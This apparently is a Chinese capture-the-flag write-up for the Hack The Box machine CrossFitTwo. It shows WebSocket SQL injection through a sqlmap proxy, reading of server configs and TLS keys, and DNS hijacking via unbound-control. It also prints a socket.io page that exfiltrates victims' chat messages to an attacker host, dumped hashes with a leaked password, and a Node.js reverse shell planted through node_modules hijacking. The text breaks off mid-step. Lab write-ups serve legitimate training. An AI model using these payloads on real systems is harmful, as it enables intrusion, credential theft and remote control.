| <meta name="description" content="Yoga StudioCrossFit">
| <meta name="keywords" content="Yoga, unica, creative, html">
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <meta http-equiv="X-UA-Compatible" content="ie=edge">
| <title>CrossFit</title>
| <!-- Google Font -->
| <link href="https://fonts.googleapis.com/css?family=PT+Sans:400,700&display=swap" rel="stylesheet">
| <link href="https://fonts.googleapis.com/css?family=Oswald:400,500,600,700&display=swap" rel="stylesheet">
| <!-- Css Styles -->
| <link rel="stylesheet" href="css/bootstrap.min.css" type="text/css">
| <link rel="styleshe
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: OpenBSD httpd
|_http-title: CrossFit
8953/tcp open ssl/ub-dns-control? syn-ack

User David

访问80端口的Web服务,枚举目录和文件得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ rustbuster dir -u http://10.10.10.232/ -f -e php,json,txt,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 403,404
GET 200 OK http://10.10.10.232/index.php
GET 301 Moved Permanently http://10.10.10.232/images
=> http://10.10.10.232/images/
GET 200 OK http://10.10.10.232/
GET 200 OK http://10.10.10.232/index.php/
GET 200 OK http://10.10.10.232/contact.php
GET 200 OK http://10.10.10.232/contact.php/
GET 200 OK http://10.10.10.232/blog.php
GET 200 OK http://10.10.10.232/blog.php/
GET 301 Moved Permanently http://10.10.10.232/img
=> http://10.10.10.232/img/
GET 301 Moved Permanently http://10.10.10.232/css
=> http://10.10.10.232/css/
GET 301 Moved Permanently http://10.10.10.232/js
=> http://10.10.10.232/js/
GET 200 OK http://10.10.10.232/about-us.php
GET 200 OK http://10.10.10.232/about-us.php/
GET 200 OK http://10.10.10.232/classes.php/
GET 200 OK http://10.10.10.232/classes.php
GET 301 Moved Permanently http://10.10.10.232/vendor
=> http://10.10.10.232/vendor/
GET 200 OK http://10.10.10.232/elements.php/
GET 200 OK http://10.10.10.232/elements.php
GET 200 OK http://10.10.10.232/readme.txt
ERROR rustbuster > http://crossfit.htb/ws.json/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.xml - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.php/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.php - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.json - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.xml/ - "connection closed before message completed"
ERROR rustbuster > http://crossfit.htb/ws.txt - "connection closed before message completed"
GET 301 Moved Permanently http://10.10.10.232/fonts
=> http://10.10.10.232/fonts/

ws开头的路径全部提示"connection closed before message completed",访问http://10.10.10.232/ws/服务器长时间未响应,可能使用WebSocket协议

在浏览网页时发现邮箱contact@crossfit.htb,并且网站首页的有到employees.crossfit.htb的链接,我们将这两个域名添加到/etc/hosts

1
2
10.10.10.232 crossfit.htb
10.10.10.232 employees.crossfit.htb

访问employees.crossfit.htb,是一个登录页面

/images/HTB-CrossFitTwo-Machine/Untitled.png

回到前面的WebSocket,用wscat连接到ws://crossfit.htb/ws/

1
2
3
$ wscat -c 'ws://crossfit.htb/ws/'
Connected (press CTRL+C to quit)
< {"status":"200","message":"Hello! This is Arnold, your assistant. Type 'help' to see available commands.","token":"29d3ac9e51c80fb94421abbb75d886bbef6af2b07cb02099da3c693fbc93b4a2"}

发送{"token":"YOUR_TOKEN","message":"help"}得到可用命令列表:

1
2
3
4
5
{
"status":"200",
"message":"Available commands:<br>- coaches<br>- classes<br>- memberships",
"token":"c33d26e0d0999f9e03cdd8d3731256f32ca5aac524c801f236a79358d592d194"
}

在命令memberships的输出中发现调用了check_availabilityJS函数

1
2
3
4
5
{
"status":"200",
"message":"Check the availability of our membership plans with a simple click!<br><br><b>1-month ($99.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(1)>Availability</button><br><br><b>3-months ($129.99)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(2)>Availability</button><br><br><b>6-months ($189.99 <del>$209.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(3)>Availability</button><br><br><b>1-year ($859.99 <del>$899.99</del>)<b><br><button class='btn btn-sm btn-secondary' onclick=check_availability(4)>Availability</button><br><br>",
"token":"d33f75961f2ae38c710afeacc71cba03c823be2a8e7342155d4cacd8b866a9df"
}
1
2
3
4
5
6
7
function check_availability(e) {
var s = new Object;
s.message = "available",
s.params = String(e),
s.token = token,
ws.send(JSON.stringify(s))
}

这个函数使用WebSocket,填写与该函数相同的参数发送给ws://crossfit.htb/ws/得到

1
2
> {"token":"98fc838a4e3bd25c4186ef7d6ef781c3f858101bc18ca0a25f25d5c10c341f1a","message":"available","params":"1"}
< {"status":"200","message":"Good news! This membership plan is available.","token":"8913d418f27d98ef1861444c23167b06fdea541c549296709bb7fc06603c9853","debug":"[id: 1, name: 1-month]"}

param参数中输入SQLI Polyglot SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/,发现存在SQL注入

1
2
3
> {"token":"45ffe152a2ac72c843ad18c69a506d3f3dbab7a6b7a0f849278dd74f605aca82","message":"available","params":"SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/"}
## 5秒后收到:
< {"status":"200","message":"I'm sorry, this membership plan is currently unavailable.","token":"8917b81217ce4df30cfcf2c9cb724f005c291aa311c5709aebeffd5b5ee2f348","debug":"[id: SLEEP(3) /*' or SLEEP(3) or '\" or SLEEP(3) or \"*/]"}

方便起见,编写了一个python脚本自动填写token字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from websocket import create_connection
import json
import sys

uri = 'ws://crossfit.htb/ws/'

def send(payload):
ws = create_connection(uri)
token = json.loads(ws.recv())['token']
d = json.dumps({'token':token, 'message':'available', "params":payload})
ws.send(d)
result = json.loads(ws.recv())
return result

payload = sys.argv[1]
result = send(payload)
print(result)

输入几个Payload验证,存在基于Boolean的SQL注入

1
2
3
4
$ python3 sqli.py "111 or 1=1-- '"
{'status': '200', 'message': 'Good news! This membership plan is available.', 'token': 'a33574d330db6d82eb07946c1815f4334a7ed39c344c08187682c85d2e519844', 'debug': '[id: 1, name: 1-month]'}
$ python3 sqli.py "111 or 1=0-- '"
{'status': '200', 'message': "I'm sorry, this membership plan is currently unavailable.", 'token': '503f017ef288b3b5636c4598b882a235c6d966e2e3e9a0c31d7cc812c491c7c0', 'debug': "[id: 111 or 1=0-- ']"}

直接上sqlmap。由于token会变动,这里通过一个代理将sqlmap的Payload转发到WebSocket,由代理在每次连接后读取并填写token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from websocket import create_connection
from flask import Flask, escape, request
import json

app = Flask(__name__)
uri = 'ws://crossfit.htb/ws/'

def send(payload):
# 本来应该重用一个WebSocket连接的,但一直断开连接,干脆每次开个新连接
ws = create_connection(uri)
token = json.loads(ws.recv())['token']
d = json.dumps({'token':token, 'message':'available', "params":payload})
ws.send(d)
result = json.loads(ws.recv())
return result

@app.route('/')
def proxy():
payload = request.args.get("p")
result = send(payload)
return result

运行代理服务器,使用sqlmapdump数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# Window 1
$ flask run &
[1] 39842
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)
# Window 2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 --dbs
# .................................................................................
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: p (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: p=1 AND 4695=4695
---
# .................................................................................
available databases [3]:
[*] crossfit
[*] employees
[*] information_schema
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees --tables
# .................................................................................
Database: employees
[2 tables]
+----------------+
| employees |
| password_reset |
+----------------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees -T password_reset --dump
# .................................................................................
Database: employees
Table: password_reset
[0 entries]
+-------+-------+---------+
| email | token | expires |
+-------+-------+---------+
+-------+-------+---------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 8 -D employees -T employees --dump
# .................................................................................
Database: employees
Table: employees
[4 entries]
+----+-----------------------------+------------------------------------------------------------------+---------------+
| id | email | password | username |
+----+-----------------------------+------------------------------------------------------------------+---------------+
| 1 | david.palmer@crossfit.htb | fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8 | administrator |
| 2 | will.smith@crossfit.htb | 06b4daca29092671e44ef8fad8ee38783b4294d9305853027d1b48029eac0683 | wsmith |
| 3 | maria.williams@crossfit.htb | fe46198cb29909e5dd9f61af986ca8d6b4b875337261bdaa5204f29582462a9c | mwilliams |
| 4 | jack.parker@crossfit.htb | 4de9923aba6554d148dbcd3369ff7c6e71841286e5106a69e250f779770b3648 | jparker |
+----+-----------------------------+------------------------------------------------------------------+---------------+
# .................................................................................

识别password的Hash算法类型似乎是SHA256

1
2
3
4
5
6
7
8
9
10
11
$ haiti 'fff34363f4d15e958f0fb9a7c2e7cc550a5672321d54b5712cd6e4fa17cd2ac8'
Snefru-256 [JtR: snefru-256]
SHA-256 [HC: 1400] [JtR: raw-sha256]
RIPEMD-256
Haval-256 [JtR: haval-256-3]
GOST R 34.11-94 [HC: 6900] [JtR: gost]
GOST CryptoPro S-Box
SHA3-256 [HC: 17400]
Keccak-256 [HC: 17800] [JtR: raw-keccak-256]
Skein-256 [JtR: skein-256]
Skein-512(256)

crackstation.net无法破解

/images/HTB-CrossFitTwo-Machine/Untitled%201.png

那么再来看看crossfit库里面有什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 10 -D crossfit --tables
# .................................................................................
Database: crossfit
[1 table]
+------------------+
| membership_plans |
+------------------+
# .................................................................................
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --threads 10 -D crossfit -T membership_plans --dump
# .................................................................................
Database: crossfit
Table: membership_plans
[4 entries]
+----+----------+-----------+------------+---------------+
| id | name | available | base_price | current_price |
+----+----------+-----------+------------+---------------+
| 1 | 1-month | 1 | 99.99 | 99.99 |
| 2 | 3-months | 1 | 129.99 | 129.99 |
| 3 | 6-months | 0 | 209.99 | 189.99 |
| 4 | 1-year | 1 | 899.99 | 859.99 |
+----+----------+-----------+------------+---------------+
# .................................................................................

crossfit里没有什么有用的信息。我们还可以用sqlmap—read-file参数读取目标主机的文件

通过—read-file读取/etc/httpd.conf

1
2
sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/etc/httpd.conf --threads 10

以下为httpd.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# $OpenBSD: httpd.conf,v 1.20 2018/06/13 15:08:24 reyk Exp $

types {
include "/usr/share/misc/mime.types"
}

server "0.0.0.0" {
no log
listen on lo0 port 8000

root "/htdocs"
directory index index.php

location "*.php*" {
fastcgi socket "/run/php-fpm.sock"
}
}

server "employees" {
no log
listen on lo0 port 8001

root "/htdocs_employees"
directory index index.php

location "*.php*" {
fastcgi socket "/run/php-fpm.sock"
}
}

server "chat" {
no log
listen on lo0 port 8002

root "/htdocs_chat"
directory index index.html

location match "^/home$" {
request rewrite "/index.html"
}
location match "^/login$" {
request rewrite "/index.html"
}
location match "^/chat$" {
request rewrite "/index.html"
}
location match "^/favicon.ico$" {
request rewrite "/images/cross.png"
}
}

其中,HTTP服务侦听在lo08000-8002端口,没有列出在80端口上侦听的服务,可能使用某种反向代理,Google关键字openbsd reverse proxy,许多结果指向relayd

在OpenBSD的relayd manual查找relayd,手册对relayd的描述为

relayd is a daemon to relay and dynamically redirect incoming connections to a target host. Its main purposes are to run as a load-balancer, application layer gateway, or transparent proxy.

relayd的配置文件为/etc/relayd.conf,用sqlmap读取它

/images/HTB-CrossFitTwo-Machine/Untitled%202.png

1
2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/etc/relayd.conf --threads 10

以下为relayd.conf的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
table<1>{127.0.0.1}
table<2>{127.0.0.1}
table<3>{127.0.0.1}
table<4>{127.0.0.1}
http protocol web{
pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>
match request path "/*" forward to <1>
match request path "/ws*" forward to <4>
http websockets
}

table<5>{127.0.0.1}
table<6>{127.0.0.1 127.0.0.2 127.0.0.3 127.0.0.4}
http protocol portal{
pass request quick path "/" forward to <5>
pass request quick path "/index.html" forward to <5>
pass request quick path "/home" forward to <5>
pass request quick path "/login" forward to <5>
pass request quick path "/chat" forward to <5>
pass request quick path "/js/*" forward to <5>
pass request quick path "/css/*" forward to <5>
pass request quick path "/fonts/*" forward to <5>
pass request quick path "/images/*" forward to <5>
pass request quick path "/favicon.ico" forward to <5>
pass forward to <6>
http websockets
}

relay web{
listen on "0.0.0.0" port 80
protocol web
forward to <1> port 8000
forward to <2> port 8001
forward to <3> port 9999
forward to <4> port 4419
}

relay portal{
listen on 127.0.0.1 port 9999
protocol portal
forward to <5> port 8002
forward to <6> port 5000 mode source-hash
}

在该文件中发现域名crossfit-club.htb

添加crossfit-club.htb/etc/hosts并访问

/images/HTB-CrossFitTwo-Machine/Untitled%203.png

网站的注册功能被禁用,登录处无注入漏洞

在目标主机8953端口还运行着unbound-control守护进程,unbound docsunbound的描述如下

Unbound is a validating, recursive, caching DNS resolver. It is designed to be fast and lean and incorporates modern features based on open standards.

本地执行sudo apt install unbound安装unbound组件

使用unbound-control连接服务端需要服务器运行unbound-control-setup所生成的TLS密钥文件,而这些密钥文件默认存储在/etc/unbound目录下

1
2
3
4
5
6
$ unbound-control-setup -h
usage: /usr/sbin/unbound-control-setup OPTIONS
OPTIONS
-d <dir> used directory to store keys and certificates (default: /etc/unbound)
-h show help notice
-r recreate certificates

本地运行unbound-control-setup,查看/etc/unbound目录,生成的文件有unbound_control.keyunbound_control.pemunbound_server.keyunbound_server.pem

1
2
3
4
5
6
7
8
9
10
$ ls -la /etc/unbound
total 40
drwxr-xr-x 3 root root 4096 Jun 28 06:39 .
drwxr-xr-x 167 root root 12288 Jun 28 02:16 ..
drwxr-xr-x 2 root root 4096 Jun 28 06:38 unbound.conf.d
-rw-r--r-- 1 root root 543 Jun 28 06:39 unbound.conf
-rw------- 1 root root 2459 Jun 27 14:15 unbound_control.key
-rw-r----- 1 root root 1411 Jun 27 14:15 unbound_control.pem
-rw------- 1 root root 2459 Jun 27 14:15 unbound_server.key
-rw-r----- 1 root root 1549 Jun 27 14:15 unbound_server.pem

但是并没有在目标机器的/etc/unbound发现这些文件

结合目标操作系统是OpenBSD,Google到OpenBSD的unbound manual,其中提到unbound在OpenBSD系统下的工作目录是在/var/unbound/etc

/images/HTB-CrossFitTwo-Machine/Untitled%204.png

https://man.openbsd.org/unbound.conf

sqlmap读取/var/unbound/etc/unbound.conf

1
2
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/unbound.conf --threads 10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
server:
interface: 127.0.0.1
interface: ::1
access-control: 0.0.0.0/0 refuse
access-control: 127.0.0.0/8 allow
access-control: ::0/0 refuse
access-control: ::1 allow
hide-identity: yes
hide-version: yes
msg-cache-size: 0
rrset-cache-size: 0
cache-max-ttl: 0
cache-max-negative-ttl: 0
auto-trust-anchor-file: "/var/unbound/db/root.key"
val-log-level: 2
aggressive-nsec: yes
include: "/var/unbound/etc/conf.d/local_zones.conf"

remote-control:
control-enable: yes
control-interface: 0.0.0.0
control-use-cert: yes
server-key-file: "/var/unbound/etc/tls/unbound_server.key"
server-cert-file: "/var/unbound/etc/tls/unbound_server.pem"
control-key-file: "/var/unbound/etc/tls/unbound_control.key"
control-cert-file: "/var/unbound/etc/tls/unbound_control.pem"

继续读取tls目录下的unbound_control.pemunbound_server.key

1
2
3
4
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/tls/unbound_control.pem --threads 10
$ sqlmap -u 'http://127.0.0.1:5000/?p=1' --risk=3 --level=5 --technique=B \
> --skip-waf --file-read=/var/unbound/etc/tls/unbound_control.key --threads 10

再通过gnutls-cli获取unbound-control服务的unbound_server.pem

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ gnutls-cli -V -p 8953 10.10.10.232
# .................................................................................
-----BEGIN CERTIFICATE-----
MIIDoDCCAggCCQDx3ZJ+FQdNnjANBgkqhkiG9w0BAQsFADASMRAwDgYDVQQDDAd1
bmJvdW5kMB4XDTIxMDExMTA3MDExMFoXDTQwMDkyODA3MDExMFowEjEQMA4GA1UE
AwwHdW5ib3VuZDCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBALaSthKv
1/LXjUfayIL0K3ThP3vs1+PpaPKPiRkj7VYKL3Q3lvHbCEzmjwFxzrYfykbJnrdm
7pgPVGlWbra2ifSfNokVcC/sblub7GXvUKUWbK5Javr7vI8Eljvn9q28ze9FZz6W
1ZojGXSU9M1KU5kslNTnF4sTLcvU9UJGW37Kv/hGqlN8MYFUCM5jOke94rewUuoT
9xw4cveDnMcHwjBlbSQL6R2e7GQWlU/vb1ntDq1nFE3Bu7tK+JD3Ni9Rt7jTfr/u
ezZPuEg/6z1iKtnmXNOCwZGHS5gOdGRQaf4USnjYy7DaSVwXsOQUpZ6tWptolyp9
BrZM3Q1UHG0OZYCNo04i8kL50a9pVggs7Q0TvSqO2KgYMRj78vNzotPE+8FQpj9+
7glV12BQSuh53lNS32WpwTS1yYfvw2sXt/m+BW5Ts6musGj0AANWd6BZAm735qXQ
nt719NzFQsYv0fcFAmbmgXV1X2ZhwZvxJWGDpsyLlNQKjhTWXb4J32hIzwIDAQAB
MA0GCSqGSIb3DQEBCwUAA4IBgQCmHuw7ol3PfJxidmjDkqJtA+Q4OOqgfHHAoq33
pQe2CbQEk50AZMdezxXN0I7ToOkEkXES6BiKDn7FAlOmElCAvYZhVkq7OwgHSECr
tvwiap5exR9W1cFxojz7ufWWpk+2F3RRJhudmaCMlf5KIFMK4BqNt1aHjsM7rshP
jJ3AsELCSgpOVCuc+Jnq+4IzbNNq55oMVq6k5ETsi4TgFew3gJfMEibF5zVbsXMK
A+cpyhRN+XXD0maS+C2BC2a5kGb8jp5otPXDRsJgJWrPb5irGWY9in7w8ZdOMW6v
FcSaLnz9bQ7q93+dbhPFRbjz+QWahvQyw91muwPmkLCB7OLWedha5tfuW1e4WNjt
PCAMbsSgTHsPgrrm0IoK8AfxJht9wE1Dm4XfmXSGgHU6Q7usscoV0dx47m+vmFYZ
Z1faM16lBqfIDDOHm23bIPkO08BH4VaO7HYXlXQY1RGRYH9NJlkR6+lgduK9DkNM
SeJIPkiQql3fH2trxxZ5i4P23Bk=
-----END CERTIFICATE-----
# .................................................................................

将读取的unbound_control.pemunbound_server.keyunbound_server.pem放到本地/etc/unbound目录,这样就可以通过本地的unbound-control客户端远程访问目标主机的unbound-control服务了

1
2
3
4
5
6
7
8
$ sudo unbound-control -s 10.10.10.232@8953 status
version: 1.11.0
verbosity: 1
threads: 1
modules: 2 [ validator iterator ]
uptime: 365 seconds
options: control(ssl)
unbound (pid 7261) is running...

unbound-control支持许多命令,但这里输入大部分命令都提示"error unknown command"

1
2
$ sudo unbound-control -s 10.10.10.232@8953 list_local_zones
error unknown command 'list_local_zones'

除了查询状态和flash类型的命令外,forward_add命令也可以使用

forward_add可以添加一个Forward Zone,令指定Zone的DNS查询转发到特定DNS服务器,而我们可以任意添加Forward Zone,也就是说只要将给定域名的DNS查询转发到我们的DNS服务器,我们的DNS服务器可以将域名解析为任意IP,实现DNS劫持

尝试劫持employees.crossfit.htb并不奏效,需要配合relayd.conf中的如下转发匹配规则

1
2
pass request quick header "Host" value "*crossfit-club.htb" forward to <3>
pass request quick header "Host" value "*employees.crossfit.htb" forward to <2>

任何Host匹配*employees.crossfit.htb都会被转发到<2>(table<2>{127.0.0.1}),可以在employees.crossfit.htb前面添加任意字符串进行DNS劫持,这里使用iemployees.crossfit.htb

我们在iemployees.crossfit.htbpassword-reset.php页面输入并提交email后,服务器将密码重置的URL(http://{HOST}/password-reset.php?token={TOKEN})发送到该"email"

/password-reset.php的POST请求头中的Host会作为密码重置的URL的HOST部分。利用这一点我们可以令密码重置的URL指向iemployees.crossfit.htb,并劫持iemployees.crossfit.htb到我们的HTTP服务器,当“受害者”点击该链接即可获得用于重置密码的Token

通过上述方法得到了Token,但是用拿到Token访问password-reset.php提示密码重置被禁用(获取Token行不通,因此上述利用思路的具体操作就不展开了)

/images/HTB-CrossFitTwo-Machine/Untitled%205.png

到这里就没有思路了。之后从@xFrankyCrossFitTwo Writeup得知,这里要获取的不是Token,而是“受害者”在crossfit-club.htb上收到的聊天消息,这些消息通过JS的socket.io库发送和接收,而“受害者”的SSH凭据就在这些消息中

由于WebSocket(socket.io基于WebSocket协议)不受SOP的限制,所以当“受害者”访问iemployees.crossfit.htb时,我们可以在返回的页面的JS中使用socket.io来获取“受害者”在crossfit-club.htb收到的聊天消息

下面是利用过程

首先,用flask编写一个简单的HTTP服务器

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__, static_url_path='/')

@app.route('/password-reset.php')
def exploit():
return app.send_static_file('index.html')

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<head></head>
<body>
<script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
<script>
var socket = io('http://crossfit-club.htb/');
socket.emit('user_join', { username : 'administrator' });
socket.on('private_recv', data => {
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://iemployees.crossfit.htb/?d=' + btoa(JSON.stringify(data)), true);
xhr.send();
});
</script>
</body>
</html>

socket.io用到的'user_join''private_recv'是从http://crossfit-club.htb/js/app~748942c6.ead68abe.js中得到的,'administrator'可以是任意字符串

1
2
3
4
5
6
$ tree
.
├── app.py
└── static
└── index.html
$ sudo python3 app.py

这里使用dnsmasq作为DNS服务器,修改/etc/dnsmasq.conf

1
2
3
4
5
6
7
8
9
domain-needed
bogus-priv
expand-hosts

listen-address=YOUR_IP
bind-interfaces

address=/iemployees.crossfit.htb/127.0.0.1
address=/employees.crossfit.htb/127.0.0.1

运行dnsmasq

1
sudo dnsmasq --no-daemon --log-queries --no-hosts --no-resolv

/etc/hosts添加iemployees.crossfit.htb,再执行以下命令添加一个Forward Zone,将iemployees.crossfit.htb的查询转发到我们的DNS服务器

1
$ sudo unbound-control -s 10.10.10.232@8953 forward_add +i iemployees.crossfit.htb. YOUR_IP

在浏览器访问http://iemployees.crossfit.htb/password-reset.php,填写前面通过SQL注入获取的邮箱,这里使用usernameadministrator的邮箱david.palmer@crossfit.htb

dnsmasq收到以下DNS查询请求

1
2
3
4
dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232
dnsmasq: config iemployees.crossfit.htb is YOUR_IP
dnsmasq: query[A] iemployees.crossfit.htb from 10.10.10.232
dnsmasq: config iemployees.crossfit.htb is YOUR_IP

修改/etc/dnsmasq.conf中的address=/iemployees.crossfit.htb/127.0.0.1address=/iemployees.crossfit.htb/YOUR_IP,重新运行dnsmasq

如果不先将iemployees.crossfit.htb解析到127.0.0.1password-reset.php会报错并终止

/images/HTB-CrossFitTwo-Machine/Untitled%206.png

过一会HTTP服务器输出

1
2
3
4
5
6
10.10.10.232 - - [29/Jun/2021 01:41:52] "GET /password-reset.php?token=3a4f02a649316783b35cd7a89676f8e4b609864cf2689d5c21735eaabbed609c4d3aebc81ae16295d88b0641900b47d5af5a209986740c5344920b957656ccc6 HTTP/1.1" 200 -
10.10.10.232 - - [29/Jun/2021 01:41:52] "GET /favicon.ico HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:42:41] "GET /?d=eyJzZW5kZXJfaWQiOjE0LCJjb250ZW50IjoiUHVzaHVwcyBnbyBicnJycnJycnIiLCJyb29tSWQiOjE0LCJfaWQiOjI0M30= HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:42:51] "GET /?d=eyJzZW5kZXJfaWQiOjIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3IgeW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9pZCI6MjQ0fQ== HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:43:32] "GET /?d=eyJzZW5kZXJfaWQiOjEzLCJjb250ZW50IjoiRG8geW91IGxpa2UgU2hha2VzcGVhcmU/Iiwicm9vbUlkIjoxMywiX2lkIjoyNDZ9 HTTP/1.1" 404 -
10.10.10.232 - - [29/Jun/2021 01:44:02] "GET /?d=eyJzZW5kZXJfaWQiOjIsImNvbnRlbnQiOiJIZWxsbyBEYXZpZCwgSSd2ZSBhZGRlZCBhIHVzZXIgYWNjb3VudCBmb3IgeW91IHdpdGggdGhlIHBhc3N3b3JkIGBOV0JGY1NlM3dzNFZEaFRCYC4iLCJyb29tSWQiOjIsIl9pZCI6MjQ3fQ== HTTP/1.1" 404 -

base64解码分别得到

1
2
3
4
{"sender_id":14,"content":"Pushups go brrrrrrrr","roomId":14,"_id":243}
{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":244}
{"sender_id":13,"content":"Do you like Shakespeare?","roomId":13,"_id":246}
{"sender_id":2,"content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.","roomId":2,"_id":247}

“Hello David, I’ve added a user account for you with the password NWBFcSe3ws4VDhTB.”

david的密码为NWBFcSe3ws4VDhTB,让我们用SSH访问目标主机

/images/HTB-CrossFitTwo-Machine/Untitled%207.png

User John

linpeas放到目标主机并执行,发现当前用户所属组sysadmins可读写/opt/sysadmin目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

crossfit2$ ./linpeas.sh
# .................................................................................
[+] Users with console
build:*:21:21:base and xenocara build:/var/empty:/bin/ksh
david:*:1004:1004:,,,:/home/david:/bin/csh
john:*:1005:1005::/home/john:/bin/csh
lucille:*:1002:1002:,,,:/home/lucille:/bin/csh
node:*:1003:1003::/home/node:/bin/ksh
root:*:0:0:Charlie &:/root:/bin/ksh
# .................................................................................
[+] Interesting GROUP writable files (not in Home) (max 500)
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
Group david:

Group sysadmins:
/opt/sysadmin
# .................................................................................

/opt/sysadmin/server/statbot/statbot.js文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
var message;
if(status) {
message = `Bot is alive`;
}
else {
if(connect) {
message = `Bot is down (failed to connect)`;
}
else {
message = `Bot is down (failed to receive)`;
}
}
logger(message, '/tmp/chatbot.log');
}
ws.on('error', function err() {
ws.close();
log(false, true);
})
ws.on('message', function message(data) {
data = JSON.parse(data);
try {
if(data.status === "200") {
ws.close()
log(true, false);
}
}
catch(err) {
ws.close()
log(false, false);
}
});

nodejs加载自定义模块时,会在当前目录的node_modules目录下引用对应目录名称的模块,如果没有则继续向当前目录的父目录查找node_modules

我们可以利用这一点,在/opt/sysadmin目录下创建node_modules/log-to-file目录(/opt/sysadmin子目录不具备写权限),将修改过的带有rev shelllog-to-file模块放在该目录,这样/opt/sysadmin/server/statbot/statbot.js加载log-to-file时就能得到rev shell

本地保存以下JS文件,运行python3 -m http.server 80nc -lnvp 4242

1
2
3
4
5
6
7
8
9
10
11
12
13
// rev.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(4242, "YOUR_IP", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/;
})();

在目标主机执行以下脚本

1
2
3
4
5

#!/bin/sh
